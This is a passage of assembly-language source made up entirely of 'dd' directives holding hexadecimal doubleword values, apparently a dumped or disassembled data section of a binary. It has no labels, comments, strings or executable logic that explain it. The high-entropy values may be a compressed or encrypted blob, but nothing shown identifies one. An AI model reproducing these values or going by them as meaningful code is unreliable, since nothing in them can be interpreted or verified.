0EB4585F3h dd 3525A880h, 8C73074Dh, 3067127Bh, 345F9291h, 0B5D3DE13h dd 9B853842h, 0BE0D60CFh, 9394A8CAh, 0B1233A4Eh, 0FCB56F00h dd 445B552Ch, 458FFF00h, 7884508Bh, 61C00039h, 0B7981B0Fh dd 0C2023309h, 1ED8AD6Ch, 0B434E06Bh, 0A3F21CB8h, 45D90051h dd 0BD506527h, 0F6038670h, 0EA1CC7A8h, 643DAA30h, 0F3ED0050h dd 6B7151CAh, 0B30283A3h, 2A9CB8D1h, 0D8884932h, 0D084F063h dd 8EC8DC7Bh, 15C90C00h, 8D33AFD6h, 0AEC4A65h, 534EAE0h dd 0D099EB83h, 0CBC7C130h, 600289F2h, 446293BAh, 107B60E6h dd 447D4D33h, 4D42AB01h, 8EC4B513h, 73C1CF39h, 0A00AC407h dd 2CD2D9B4h, 559D10CDh, 0BC946424h, 8210A002h, 1C94E793h dd 9EE8A4C6h, 0E88B18E7h, 0BE0083C3h, 178EE475h, 0C7FD3B4h dd 0B5745B2Ah, 2509AE70h, 23BB3AF5h, 0BD3CC4F0h, 0B882D487h dd 35E864DFh, 98976Dh, 0BCFDC690h, 0AA4C27F5h, 0E63F24E1h dd 3383826h, 12A9ABCDh, 85F0BA6Ch, 24CAC2D7h, 7E48110Ah dd 47828088h, 355E53ABh, 0F491E899h, 0CC9320C4h, 0DD30D794h dd 0E7067010h, 39F00A0h, 0CB960C38h, 0C498636Eh, 0BBA3EE00h dd 0BDDBB68Ch, 20EA5D33h, 93A0A800h, 0A2971B87h, 0D6B77D03h dd 0C579B07Fh, 93002CCFh, 2388FE1h, 78C04803h, 7DB5A092h dd 395D021Ch, 60759713h, 0FA66C8C8h, 41DC2730h, 5821684Fh dd 800A41Ah, 0E141184Ah, 6790F264h, 0D8A8E0E4h, 0B703BEC2h dd 43295988h, 60788866h, 9BAA0077h, 823C736Bh, 0E0012FA2h dd 9DFC8A75h, 10205667h, 0A9FF002Bh, 896F060Bh, 0A1B2D24h dd 0E0814CCBh, 90DD4153h, 40490034h, 88B6FD9Ch, 0F9A02917h dd 0FFEC20D5h, 6401E379h, 0DB0F262Eh, 418A571Eh, 86DC0218h dd 48D34AB5h, 0C459D52Ah, 2945D131h, 150050A5h, 5A0024A6h dd 0FE4BB325h, 3AF12E36h, 480085D7h, 0A683D508h, 0AB786ACBh dd 0FDB79000h, 2A940CEEh, 0F5FCC0h, 0AC5D9958h, 2654E087h dd 0D1000490h, 62FE3E56h, 29CFF2h, 0D94A3DEAh, 8AAC91FFh dd 2C428800h, 40131B3Ch, 448B1C9Ah, 741780CDh, 0ECA40248h dd 34549407h, 4540DF9Fh, 3E6FA8E2h, 0F12E62D9h, 0D46E8138h dd 40EDA37Ah, 0C95AD2EEh, 0DA1DFD00h, 156A02ADh, 0C4E00B3h dd 0C6A6591Ah, 7C3D7AF1h, 938F80ECh, 0A48E79D7h, 202B00BBh dd 36B67847h, 637718A5h, 2749F300h, 0E452F215h, 0C60D1761h dd 4B840195h, 4733AD81h, 0B36AD0A8h, 0C31D11DDh, 71CB387Eh dd 90240955h, 0EFAF86Ch, 8B69F53Bh, 0C05A5D5Eh, 6B275FBEh dd 54000F60h, 0DA1A7403h, 35E72F5h, 92A381A0h, 4EA8124Bh dd 0AB0FF901h, 0B828EF32h, 1D4DCF58h, 0E7C620EAh, 0D8AAF800h dd 0F91F3572h, 0AB4C0E03h, 5FAEA8h, 0B58FDC3h, 93E8D74Bh dd 0DD7F1600h, 8878E6FBh, 8C652811h, 75DF0084h, 0AD6D40C6h dd 281FA198h, 0B14E2F55h, 0E64C809Bh, 0C64A11h, 466707BCh dd 45ED9818h, 0B63940B0h, 0FAFA61Bh, 3AF426h, 3E192F65h dd 604DB02Dh, 0C41828EFh, 505431Bh, 0BF23D189h, 3DD0A0h dd 91B1A64Fh, 45C052B2h, 78F40171h, 0DF078E79h, 4E4DDE5h dd 7DFBD680h, 2FF80044h, 0DE6F7426h, 0BF00EF35h, 4F9EBDB0h dd 301D518h, 11E599DBh, 0CAECB843h, 4E3600BCh, 41E0BE3Fh dd 35570046h, 782E963Ah, 5B045C85h, 0CD4A38F0h, 0B8489C83h dd 46A3EDh, 595F8DC4h, 47411B54h, 0EE31D500h, 0A01D3D93h dd 7E7B001Ah, 7FB07714h, 0D0010ED9h, 62E7F6E1h, 0A3F8B69Dh dd 0E5F90304h, 8BA688CCh, 970432AEh, 1C19C256h, 0FC720B0h dd 750110F3h, 0A974835Dh, 58D031A0h, 544D66B5h, 5ED30048h dd 0EC451761h, 83EEC043h, 340DFACEh, 0FC82FC25h, 0A8F41C4Ah dd 56F044F0h, 1070254Eh, 0F5E8812h, 5A0628FFh, 0BDEAF881h dd 59E860ACh, 0EBEC10E5h, 0FF550077h, 63B1BC31h, 0B9247517h dd 0A300B8CDh, 0D03E96E3h, 14F600F1h, 4AA5482Fh, 576E99DCh dd 0AF2A20F0h, 9063926Dh, 0CE6A0E78h, 0E743E6E2h, 1A3E9A69h dd 40BE807Fh, 0FB523509h, 0D8FA0134h, 3F9DC2B6h, 0D0643515h dd 24009CADh, 0BBF04006h, 0D2E7E29h, 321DD52Fh, 0E4B4D1B0h dd 9270711Ch, 0DA167F01h, 5BED3A6h, 0D5C430h, 66E00638h dd 1F6A57AEh, 100AA7Fh, 0E45ACEE5h, 850ECAh, 0B6C3CB1Ah dd 0AC920F93h, 18FF6D00h, 0B67EE50h, 31D70044h, 0C959DFD6h dd 0E9000AA5h, 766887CEh, 488CE31Eh, 8E0040B7h, 0B87BDB88h dd 5C2F2DEDh, 0A98821FCh, 63C86679h, 0BF0B00DFh, 2329FF4Bh dd 0CD003AAEh, 0D6CCCE7Eh, 691104h, 0AAFE5335h, 0CA5898C2h dd 38F5FC00h, 9C568061h, 7F78FA85h, 0D7AB0314h, 0F7629672h dd 0A2F56900h, 90AC26E0h, 0FB5E3E7Ch, 0D6FC4400h, 758143C3h dd 90C14D2Eh, 0F6894A80h, 1D46D90Dh, 0F0F1AFh, 21DD02CCh dd 451D2B31h, 800579Bh, 4C3927EAh, 660F0F7Bh, 0E107E877h dd 0F08744h, 0C8CBFF0Eh, 0BC46C000h, 0AF3AF6C4h, 0FA1D0EC9h dd 19A35EA9h, 6000F2C6h, 15C14C7Ch, 71001C8h, 0E35FD920h dd 109217D6h, 4B77B597h, 0EBE2EA03h, 39E64FC0h, 2685C599h dd 0D09234BCh, 2706CFB8h, 0A50740BAh, 0C38872E7h, 0C29673B3h dd 0A3109115h, 0F10D1C51h, 1A11F080h, 0EF45132Ah, 17DB7000h dd 98B47DA9h, 295C0008h, 0FCA3A106h, 674CC993h, 27220FDBh dd 553FE13Dh, 0A45029FEh, 7A3693A7h, 0D8BA49E1h, 0D2D14100h dd 3786D5B9h, 0B86AEF07h, 0E1CEBFB3h, 7B644C25h, 9EE0420h dd 1514ED1Ah, 0ABC59F80h, 8C126894h, 0E000BA8Bh, 804747Fh dd 7D1783Dh, 4938E769h, 14AE501Dh, 663AC606h, 1FF00065h dd 134D09F5h, 8E8703BBh, 55050F59h, 0BC2F80F5h, 1B0079FCh dd 0FF651E8Ch, 24AEE10Dh, 8F312Ah, 0C377E9BEh, 6300CD30h dd 5A198BB8h, 57B6536h, 276E509h, 30AC801Dh, 1E000564h dd 2E015BB4h, 789070h, 142FECAFh, 91CB1183h, 812DD800h dd 84D2062Ah, 31360C5Fh, 6B1E7574h, 59C58501h, 0E67BBDD4h dd 78F44EDCh, 32363A49h, 54210280h, 0B181635Ch, 3F9FB802h dd 61D14A33h, 0ACD42C2Fh, 38B0C0h, 4B9C8D74h, 3AE969B9h dd 73233307h, 0FA200BF5h, 0B40D332h, 1E450556h, 0DDCC28C0h dd 269A2C18h, 0E2AE11h dd 4025B3AFh, 85365666h, 8F688225h, 0BC090A98h, 0A0FFF589h dd 96971B8Ch, 0F439385Fh, 46F8E684h, 0D090A1B0h, 3A009911h dd 82B7278Fh, 0E2E2365h, 3E91FEFAh, 0DC7E9C2h, 0BE13A081h dd 3986E0F0h, 7EC84Ch, 0A52E7F85h, 0B6649FB0h, 0CAFA09D4h dd 0A100806Ch, 43C378Dh, 3F41D2Eh, 452FB9FEh, 0A788B0A8h dd 0D138D5CDh, 8FB780F2h, 0F577614Ch, 0B5DD0717h, 407C1D8Eh dd 6ACAEFA3h, 76E40100h, 0E102C3EEh, 0ABC60105h, 815841Ch dd 9C10D07Ch, 0CBB48D50h, 2AE8E100h, 6F315F99h, 0DBB600C2h dd 4F5EBDD5h, 7401BED7h, 7D6BB961h, 4EF4E69Dh, 0A82C1F9Bh dd 0EF90C131h, 9CF6641Ah, 0DA97F080h, 60B1B088h, 0B45258DDh dd 0D700B9A5h, 9ACE3F8Eh, 946D5A8h, 0A72EA9DFh, 5D73C060h dd 82EFE900h, 84BC8D27h, 0CDA00D3h, 7E0A868h, 0BD075E3Ch dd 40A68367h, 0CCD735F0h, 5D3D01D3h, 3E24B278h, 7F8040EEh dd 0F70038C6h, 0D3A2D462h, 1175CC0h, 6CB849DFh, 3C947BACh dd 2A7C80A0h, 0D82BB7h, 9F1EC3Fh, 0A639BC58h, 7C04400h dd 7E25454Ah, 4902005Ah, 2E646FC4h, 701C8E1Fh, 0EC05FA1h dd 142073E9h, 0DF7A02B6h, 0B8847897h, 5C6B4869h, 0CF1CB384h dd 6F80EE1Bh, 70335DCDh, 5EC600A7h, 80232C2h, 0BE006E51h dd 6A9CC3CEh, 0BDF51Bh, 0AA074F33h, 0E52EA396h, 4E3EA700h dd 0FE3CC62Ch, 577E24E3h, 7058982Ch, 0C17C819Bh, 30929292h dd 233BE001h, 0EBF3C0B9h, 4BC804D4h, 0BD98028Ch, 8449F4F8h dd 299B70C6h, 0E89E3B32h, 811C569Fh, 97133831h, 0B652C848h dd 94166B1Fh, 599BDF00h, 0E27B99D0h, 0DA610034h, 0F15C7523h dd 5100C68Eh, 0D63DC2E5h, 16A0741h, 2B77A5E7h, 60DE1C58h dd 8805A8B9h, 0E9E4B8DAh, 0BF6B480h, 42723749h, 0EA0EC011h dd 3E0E778Ch, 0FBB72F78h, 0F138A018h, 0EF0600ECh, 98569D01h dd 0DB00C6FEh, 5DBC6239h, 654526h, 714D31F6h, 0DA46C46h dd 0E979DA01h, 0E49FE5F7h, 0BACECA60h, 0F0720034h, 2935B57h dd 0A30091DEh, 0D3D57F37h, 0A0F64E21h, 733B084h, 586D9EA7h dd 0F721EF96h, 20242FBCh, 0B101DDA6h, 0D4460976h, 1460BFE7h dd 1BD23A64h, 0FC8F9880h, 2620FBD8h, 74F7C0A0h, 0A6E15Ch dd 502557BAh, 25D24527h, 2040A6CDh, 0F2070DB9h, 35D7C9ECh dd 0F94880F9h, 12EFE39h, 4DBD90CCh, 0E0F2D889h, 1B4C5AA6h dd 90D12E44h, 1AF90038h, 0F19C1C53h, 7E30002Ah, 0F5256B8Dh dd 3B004697h, 579D7164h, 4C915A3h, 74729062h, 38F080B2h dd 7C003B76h, 0DE4FF62Fh, 24BAF5C1h, 1F87312h, 194572A0h dd 0F1A9804Ah, 96E52827h, 891626C5h, 99FE0030h, 7CA3F70Ah dd 7FE4351Ch, 0C4246540h, 7130CEBCh, 0F9A200EFh, 8C01878Dh dd 91261367h, 0DB008316h, 6652D5DEh, 6274027Dh, 234F8FE4h dd 5C394FC0h, 0C42D607h, 56A0B852h, 39947591h, 7480C151h dd 9688F041h, 0D705B426h, 43D29E7Fh, 0D33C20ECh, 4C006A4h dd 0A9638B71h, 0BFF70110h, 54135A94h, 0AB3C402Bh, 3EEBD989h dd 3A762200h, 0F9FC033Bh, 6E7D00D3h, 0B427AF29h, 0A500056Dh dd 49D765E3h, 0FAA4D511h, 0D69E1C86h, 8050000Dh, 0DE84C85Ch dd 14E383Dh, 0B0DC7157h, 402AB386h, 0CCEC9668h, 7867C95Ah dd 32B09AAAh, 0CB2B36h, 9F5DCFA6h, 11C5CC03h, 0B2D64700h dd 0CDB59375h, 0DFC3C13h, 6F9CF381h, 0D09710F6h, 0DF00EE07h dd 6EA07BEDh, 0A6F51Ah, 0DE4624D2h, 602D5B9Bh, 0A4CE9816h dd 0CC53BE00h, 918864h, 81832E4Bh, 373C6F2Dh, 0BC1C3E04h dd 2CA0C999h, 0E8DC00FBh, 0D9F34B08h, 22C0DD97h, 0A9C30170h dd 0EA9F0ED6h, 89A0C2F2h, 90724069h, 1A6983Fh, 0CB84F930h dd 807C5750h, 9D0DB702h, 0CCC0CFEBh, 725CDFABh, 14FCE2F0h dd 83E8D0E6h, 18E05D31h, 0A2F0F0F7h, 0B0169805h, 0A5953AECh dd 632007Ch, 2718CAC9h, 0E0066C5Dh, 0C072F6A3h, 88F0CD1h dd 5D60C195h, 0ABE08C00h, 2886F74Bh, 704763B2h, 85C9ADh dd 72E63D48h, 3673BB92h, 0DD7E2300h, 0E23F2E41h, 65EF0329h dd 154F04AFh, 0CA06D087h, 3500E053h, 849118Dh, 0AA1A26h dd 519BA754h, 85B92C61h, 0F5DCE200h, 0BD39A267h, 0F99F3E31h dd 80510A1Eh, 0FEEBC90Bh, 0BF241583h, 3E00176Bh, 0FC73A485h dd 0ABCF0382h, 9109FA26h, 0C79848A3h, 0EE007527h, 0A49D6C22h dd 0AC33A21h, 323325E6h, 6D16A0h, 4BC463A1h, 0C807B0C9h dd 8F50DB41h, 0A67FE250h, 20F700E5h, 0D7ABDC18h, 0DF00881Ch dd 0DEE0AFA1h, 5E303Dh, 8B08CA97h, 6BDA957Fh, 48004FB0h dd 9DD3C5C9h, 5890DB55h, 6D00FD1Dh, 18E065DAh, 0DC155CB4h dd 0EC0D616h, 80A23024h, 0FDD759ACh, 381D0008h, 0B0E1AF43h dd 1F0C92FAh, 31C6C9DFh, 93AC4EBEh, 0AE0AF6Ch, 0ACB8B1A7h dd 0E44F2D01h, 0C8DC62E2h, 0C0485F3Bh, 9FA41BBDh, 7E2CE627h dd 0A624A8A6h, 75021404h, 518B2C90h, 0B6EA3FA9h, 58C116h dd 901496Fh, 5000DDAAh, 0A13C8317h, 3B854B67h, 0F40C0B7Eh dd 0C710BB6Bh, 0EAC2D103h, 0C544E063h, 0F694DE07h, 4B740320h dd 1DC81EC6h, 0AE2680CBh, 2948F797h, 1F630500h, 75568845h dd 50DFFCE9h, 14C74F0h, 180A659Fh, 0D8087648h, 9209DB12h dd 0DAE0ACBDh, 0F742BCh, 5FF97172h, 112A3EDh, 0F27515Eh dd 0D0A04775h, 16142E45h, 0B5E54Fh, 27C4A8D5h, 1BE14D4h dd 0A6049D8Eh, 0F7623E41h, 0D77DE1E0h, 544F3D07h, 0F521197Bh dd 0C32F0B51h, 830FB8Dh, 0D18D21E2h, 0BD38C07Bh, 0A0ADE0B8h dd 3F783Dh, 0D263B66Ah, 70C518Ah, 0A64F27A9h, 584293DAh dd 0B40040A6h, 6F266A1h, 33375B8Fh, 0CD0896D5h, 0A9952100h dd 419D3666h, 3B5917E7h, 68520050h, 2CA32731h, 0B840DE30h dd 6029A713h, 543A18D2h, 42303DDBh, 21BD4963h, 34CB1F6Fh dd 14810616h, 90C898D8h, 6001CBD7h, 484706EDh, 0A2888948h dd 0B1661D9Ch, 7709E5Dh, 0DA291652h, 8EDF919Ch, 520F421Fh dd 10E131FBh, 7BD79Bh, 2AF47787h, 3A042CAFh, 94665B05h dd 0D2047D2Dh, 1D87227Bh, 0D15C57B0h, 90DE00CFh, 0CBF74237h dd 0B47BB3CEh, 61DC6900h, 7A5F3D1Ch, 16CF00A9h, 63F7E45Bh dd 1F005812h, 5EB87D9Fh, 0F055ABh, 0A9D7AAAFh, 3A32BEBAh dd 0C9EDE71Dh, 0FED46BC0h, 7EF0CFh, 0B686A26Ah, 85D30FB2h dd 0CB204903h, 0B0FB5A1Ch, 3B1EEBh, 0D641E9DEh, 4D8FBB74h dd 99A40200h, 77A3ADCEh, 72820007h, 619B6417h, 7800CBC3h dd 0D4715F55h, 14725ACh, 46D21534h, 0F427EAF1h, 0A1008548h dd 6DE37D10h, 0E093D0AEh, 469D037Ch, 0B2F04ECCh, 268A83E8h dd 0D16CFF00h, 8EA96EB4h, 0D5021C69h, 0ACB547BCh, 3C23E029h dd 0C90FD197h, 80501BF8h, 95692E15h, 0C49A098Bh, 0A800540Bh dd 211FF2D2h, 0BB17E21Eh, 55614800h, 76F189h, 0F01D26D0h dd 3CA104Eh, 8B15FF1Fh, 8771C1C0h, 1921E676h, 582ADB0Eh dd 1BA6F0F8h, 0E1B67F03h, 0B0F37102h, 3274Ch, 55DD4AD2h dd 0D86BE585h, 0D916AA00h, 14E0B30Dh, 0E778BCh, 5F02D30Bh dd 4DB2D36h, 82123E00h, 5A53AD65h, 6D90B2h, 0E2D0E8E9h dd 61ED4B06h, 0F0931100h, 9D3719F8h, 0B147046Dh, 0C0E8F6C0h dd 0C6B97AB4h, 797E913h, 0DC80E11Dh, 988AA07Dh, 0F31503F6h dd 3C435A16h, 9115E14h, 4EC600A4h, 3638AD1Ch, 90D100B0h dd 28B99E5Eh, 3A00DB91h, 9FF7DE3h, 38EFD3Dh, 0C6664557h dd 11005A86h, 0C39D7DD7h dd 0EC949B1Eh, 0D9F348A6h, 932A500h, 0DEA1A0B0h, 0E15DC000h dd 683527C1h, 0E085001Bh, 48E9BF10h, 0C57B565Ah, 28FA7800h dd 0C0DAC88Eh, 99EE00B4h, 2BF27F7h, 2F00B262h, 96FCC1A2h dd 0C893D47h, 5F370114h, 2A0B2058h, 9F6B2Eh, 879EFFFh dd 57260061h, 3DB93C32h, 0D91F176Dh, 120427F8h, 9FC07A48h dd 0F81BED0h, 8792B721h, 5AC0BF6Fh, 0A6C02F59h, 6F0CF802h dd 0C027CAEFh, 653A29h, 89FF643Bh, 2F9DF3B8h, 43165D0Fh dd 25CB20F7h, 678B45h, 0C74CBC12h, 181B422Ah, 3FAD4D2Ch dd 8545E100h, 1A5A76Eh, 35190F12h, 0FCF530F8h, 0FBF4A1A2h dd 3C5B94A8h, 6DF234A0h, 83CE593Ch, 0F39A178Eh, 63B79050h dd 0F082019Fh, 52C06494h, 6684FC54h, 0ED735D07h, 0C540C6E1h dd 459F7Dh, 87C84479h, 233D9B60h, 902913Fh, 0A27A08h, 1925A144h dd 0B610739h, 9F51A97Dh, 919E7E46h, 3A0B2FE0h, 7FD5EDB6h dd 2AC58380h, 1400C765h, 7DC457F4h, 72C9CAh, 0BAF3ADC1h dd 645D4D1Ch, 56AB102h, 0E080F444h, 3D086Eh, 0F376FB8Bh dd 0C62C691Eh, 0D04F7224h, 0ACE17B80h, 0E163BD8h, 0B3E0B21Ch dd 58B434E0h, 26302742h, 0C935284Dh, 0B210241h, 62CDA2C7h dd 1F14F7DEh, 20DB08A4h, 351C005Fh, 5A8E1869h, 1FE9A800h dd 0A325417Dh, 0F0307914h, 5BD600BAh, 95D10399h, 0B20769FDh dd 27050C0Eh, 1853ACD3h, 648C9070h, 0F81DDE83h, 54C063F6h dd 0B4D4E347h, 1D130052h, 0FD607E81h, 0F707CA1Bh, 87E16470h dd 56E0403Fh, 1F8AA4E9h, 8746487Eh, 0CC8141A1h, 0ED3A7F20h dd 0D490090h, 5FA1154h, 1F445h, 8B9C7DF9h, 0E0C60F66h dd 722E131Fh, 0FDD5D400h, 508E473Ah, 3BBE90B2h, 4C8C5C62h dd 0AA593D3Bh, 6AF1E560h, 0F1BF52h, 0D9FA8343h, 8F9AE001h dd 7A64E100h, 5FF54B29h, 303B3B85h, 91D8A48Ch, 1B006090h dd 0AC53F212h, 3EF3F8FFh, 72052233h, 838C9454h, 0BD84388h dd 0D426AC64h, 2A00ECE6h, 0E5795530h, 6683021Bh, 8489BDBFh dd 11A87C40h, 550016F0h, 0A16C1342h, 3021A45h, 621D1DEh dd 0F1F75EC2h, 0ECCC640Ch, 81001787h, 0C335C607h, 7E123485h dd 4F690005h, 27F6BFE2h, 9C002AA2h, 8DBDA9E1h, 494B8214h dd 0D3035CB1h, 248B1CC0h, 30BE25E1h, 991D9638h, 0BC184F0Ah dd 16CA110h, 8CCEE512h, 0F07A3DD6h, 0F01E6308h, 29C13EB6h dd 582783EEh, 0E0F75835h, 989FB41Bh, 0BE5F303Ch, 27B18BF0h dd 3100C3B8h, 7AFEA473h, 68E7C203h, 0E9E392Fh, 0C34067E1h dd 61F359B2h, 51B8F700h, 0CAE5D14h, 0C40B1C4Fh, 0B3B440BFh dd 0F5203E2Fh, 5AE1F200h, 35BCACCEh, 7415074Ah, 0FE340EA4h dd 0E260B8AFh, 0D344CE36h, 18B7E300h, 0AD2E3283h, 7D9100BDh dd 2454EF39h, 4D00D682h, 5EFBCBCFh, 988A222Fh, 328903B4h dd 0C6EF835Bh, 368499D8h, 0FE91B2A0h, 28D1C03h, 0C7753D58h dd 0F10E1220h, 39CD2E2Eh, 0FBF40363h, 41A8B997h, 4C000B93h dd 35ED1D72h, 2425FF65h, 587620h, 94624FF3h, 1F00C105h dd 30FD2988h, 5448563h, 0B624775Fh, 3328871Dh, 0C7F8FA59h dd 6300F5AFh, 3B7D7BB1h, 2F976Ah, 80D56485h, 4C28E662h dd 0EB6C9F1Eh, 8D763000h, 1DCB39A3h, 0C065D40Fh, 0CD06604h dd 0DF00993Ah, 0E8AA1BCh, 0FB50FAh, 0F9B665D2h, 120CA37Ch dd 70436D05h, 67C05D41h, 0BEED8Fh, 3ABFC228h, 0DC1F3D16h dd 9FE2CD00h, 7A882946h, 421B03F2h, 542876B9h, 0DF8653B0h dd 2CC4221Eh, 743CAC3Eh, 182BBE00h, 49AD3FCAh, 0A00F18E9h dd 0BDA0071Ch, 2EF8D43Dh, 0AA36700h, 0A783F1CDh, 18C00D7h dd 643276CCh, 0D807D555h, 5CE27A92h, 4486DB60h, 0BAFB03B6h dd 418311E6h, 8218F6C8h, 38AF1913h, 0A029D109h, 0C2A22180h dd 61770065h, 198BE26Ch, 44064FD9h, 27E528DFh, 8D661628h dd 0DAA44061h, 0E6A305F3h, 0AA00EB74h, 0C34EE549h, 4882C801h dd 178AC9Bh, 7D26025Bh, 0E0EE47F4h, 0C8180D17h, 8B218FB5h dd 0EA653A01h, 18122C50h, 21A3E2C8h, 570F032Bh, 40DE2E29h dd 47E69705h, 0B98AF9EBh, 3D486325h, 0B574B0C0h, 749F3Fh dd 2B248E5h, 0D5209Ch, 2ACC8F68h, 0E96E520Dh, 0F20688ECh dd 0F869396Ch, 0E471A0h, 6B7841B1h, 0AD011E24h, 72CB8100h dd 0EACE6D96h, 97A50038h, 0D7087BF7h, 0D00EE86h, 932120D6h dd 0C22C78h, 1AB0DF25h, 7C5ECF26h, 9F613800h, 74AC75D9h dd 0EBD200B7h, 0BD63DA3Dh, 76003301h, 0DF57BBBCh, 0F890CDDDh dd 0FDE5000Ah, 8BCB1B5Bh, 0D300B451h, 43A4D786h, 97A11Ch dd 0A2453F0Fh, 0EBFD5B46h, 6276300h, 0E18B71E4h, 0EC5201EEh dd 26B0660Fh, 4E1AF0BDh, 94E0F528h, 0A503FF73h, 0AB3E69Eh dd 2AABDB2Bh, 0A45408h, 2EA5D924h, 0AAA753FBh, 8D8EA13h dd 52D46702h, 0A1BCA025h, 0F9ECE3Fh, 6A2C723Ah, 0EB326780h dd 0E403C0B7h, 4E7AF3C1h, 203862EAh, 27064FBDh, 5DCA0641h dd 1124AEB3h, 0F6178028h, 431AF03h, 2621A0E5h, 0A6D06308h dd 0DB2B006Dh, 0A347F909h, 0D999FA00h, 798CA0E6h, 312E031Ah dd 6D8E7AE7h, 5DC9680Ah, 164030DAh, 46AFFE2Bh, 61887F29h dd 2B7B0Eh, 911F50DDh, 0C3F4E28Ah, 0E4634902h, 845DE55Ah dd 1061DC2Ch, 0B9AFC02Bh, 0A5C0B57h, 0E52B086Fh, 6B44B000h dd 533466Ah, 0A8EA88E9h, 0B7900004h, 98D426E6h, 0A65071C0h dd 0BD47B18Ch, 3303E3F0h, 925DF31Fh, 2C4C89Bh, 25D50067h dd 0D81D5C84h, 7C00B810h, 0EC9606FDh, 1D6A6F22h, 52D42A93h dd 85A60137h, 607335A6h, 2800F3C6h, 11D0C0D8h, 0F58D91h dd 9ADD26BBh, 9EEDEB09h, 4D8A6E00h, 0B52181DCh, 7A1C00F3h dd 9CC3B73h, 8600B68Fh, 0B308D1FBh, 989FD5h, 78E0A9E6h dd 9A52DB8Bh, 8041453Eh, 363F2050h, 8121Ch, 497D5999h dd 0D4F404DBh, 0D3D57600h, 8C46336Ah, 0FDD90687h, 18725603h dd 0F8017DFCh, 25E0FEFh, 0AC30E149h, 0C1940D50h, 0DE20EDAFh dd 48006FE3h, 1C314175h, 4022448h, 0C8A05645h, 0F8FB83E8h dd 80DD4DC9h, 9407D240h, 77121664h, 0EBD34015h, 0C5A2DB01h dd 5A69C440h, 3BE75931h, 181ECB30h, 5EB18084h, 76D6724Eh dd 0FC152E3Ch, 9103237Eh, 0C251C89Bh, 0BCB81C77h, 6B59F0FBh dd 30005B5Fh, 9971A642h, 6FAA8A4Eh, 7C4E4081h, 61C1038Ch dd 0A93B6200h, 0B353506Fh, 515E00DBh, 0DF90D057h, 0D63CE756h dd 0A20F0602h, 7560D720h, 16250F6Ah, 0D1A17CBCh, 70DA80F5h dd 980F01DBh, 6017F199h, 75E7F059h, 1411FA72h, 0B071A051h dd 81025A86h, 6CA2EB18h, 7382219h, 0BC2780C5h, 0D9FC238Ah dd 24B7D100h, 0C42E7397h, 0B88F00ADh, 917A7FE1h, 0FB0033ACh dd 0F3050DD0h, 0E6E51D5h, 0E23260C6h, 0ACF792Eh, 4095F587h dd 29B6A7F2h, 3577FB00h, 15747C86h, 7846F807h, 68E21E3Ah dd 585E01D1h, 0C8D8CD32h, 15F4050Fh, 750F9574h, 87527B6Ch dd 0F2C008F5h, 0FECC687h, 38D177F4h, 0C70F001Fh, 0D2935851h dd 0BD57D8F5h, 553B3C00h, 0C35F60DDh, 0F2F8D3h, 54254C70h dd 8BA3DCF6h, 4346760Fh, 526E074Fh, 28AEF6h, 744595C5h dd 80DD6677h, 18D83730h, 0DA0632D6h, 418A0D8h, 4A075F5Bh dd 6F2E7169h, 0E2E58630h, 2CD8C019h, 135272BBh, 0D1CF8B00h dd 5B1AB784h, 50DF7FF8h, 60B68CFFh, 0F7583176h, 48015CC0h dd 8CDAA2F6h, 0A8404DDBh, 3E524684h, 70AA4A2Eh, 48EC1928h dd 43051936h dd 991DF4C0h, 6C8C0770h, 39ED100Ch, 60D3ACF1h, 0FD861D00h dd 0F72C5F65h, 812BA8C8h, 29A140F2h, 2890514Ah, 58F3E489h dd 0C6BF94Ch, 79517685h, 0F5D014CBh, 0EB9F7C3Eh, 30A21E84h dd 0B634D589h, 54195D60h, 917938F8h, 179E0610h, 360240D0h dd 455273B3h, 6488285h, 5F181E28h, 37493CF7h, 0EF8A3070h dd 495B68C9h, 0E46DEE1Fh, 0F2DE4800h, 0C1E35A7Eh, 993E9A9h dd 0C7184160h, 8531DC3Ah, 0ED198006h, 19593EA2h, 3959B6F7h dd 0DCFAE8AFh, 2E862C0Ah, 7080949Ah, 6E3D6D04h, 8810C02Dh dd 0B35FA94h, 0BFB75705h, 0BC40DC61h, 86936DE5h, 1611C3CDh dd 40BDD02Dh, 68ED20CCh, 0EC60AE8Dh, 539D6510h, 0D0B460BCh dd 0FA51E13Fh, 2348C51h, 94AE84DCh, 9F891980h, 8B1B4CF1h dd 319446Ah, 5B23548h, 6901EE8Ch, 0AC0AF4CAh, 0D201E2DEh dd 191BDD4h, 0AA26A74Eh, 5EE00EB5h, 84FF559Fh, 0E8DA09C4h dd 7031603Fh, 22730137h, 3BA28848h, 0B9543205h, 4040BE8Ah dd 68D0F204h, 3CBAC840h, 38188F3Ch, 0ED3318F6h, 1207F73Eh dd 64478C76h, 21EC6192h, 8254AA6Ch, 84364338h, 3042DFBCh dd 0A849CC5Eh, 4F482489h, 7724D9EAh, 1F122CD3h, 70EE0440h dd 924EDAB6h, 85A92838h, 0D48A210Ch, 0AC28810h, 5A014F39h dd 84002343h, 0C8F0734Bh, 224914Ch, 0F4540FEBh, 821520F9h dd 0EE0193C9h, 0F6D6018Bh, 0B6D326CCh, 7A300021h, 7D43C7C9h dd 0C2029A47h, 4FE0F69Eh, 9FF500B5h, 6E019779h, 0E9465FD9h dd 5C603EABh, 0D287134Ah, 6BB0066Dh, 5E0E50EAh, 0FC8637F4h dd 424B424h, 67767540h, 11D760D2h, 4132D553h, 93C35400h dd 92BA6C06h, 0B40A54E1h, 32BE1E16h, 0E78D4022h, 85215D9Fh dd 0A81454F8h, 6C00266h, 6F5B7A3h, 60F4A068h, 9719C311h dd 986C7192h, 49821078h, 0B603FCF8h, 838CF61Bh, 45FC71F0h dd 0E699CF00h, 0EFD05FC5h, 0B4C20030h, 70E3E18Dh, 0AF3919B9h dd 148B00BFh, 0D8F0335Eh, 62789F3Fh, 4B32FA00h, 0E29254C4h dd 34990325h, 0D242CD1Fh, 0F5D515E0h, 27EA3B00h, 9BEE5C21h dd 58B01635h, 0D352E0A9h, 393D7700h, 98545E0Eh, 0D98B00D2h dd 0FD48AA3Ch, 0BC004359h, 2CF0DEA7h, 72E1E2Fh, 0C4CE3194h dd 0F304A09Fh, 0AA0FD9ACh, 5EEFE659h, 0C805B100h, 5ABA76h dd 2542F8F0h, 4A13B71Ch, 8AA1BE00h, 10682F88h, 70270FCEh dd 7800FEFCh, 8B5C2A81h, 0C696602Eh, 0E344A200h, 0C1E336Bh dd 0DC95861Ah, 8530EB30h, 0A9CD082Eh, 0C79F847h, 0D99986D8h dd 0A0072321h, 26BB6F49h, 0CC3FB180h, 703F4A3h, 0D2EB7159h dd 2740FCA8h, 0D4CA0501h, 82336C45h, 9322A16Eh, 440F5899h dd 6588A0ADh, 0C2AEECh, 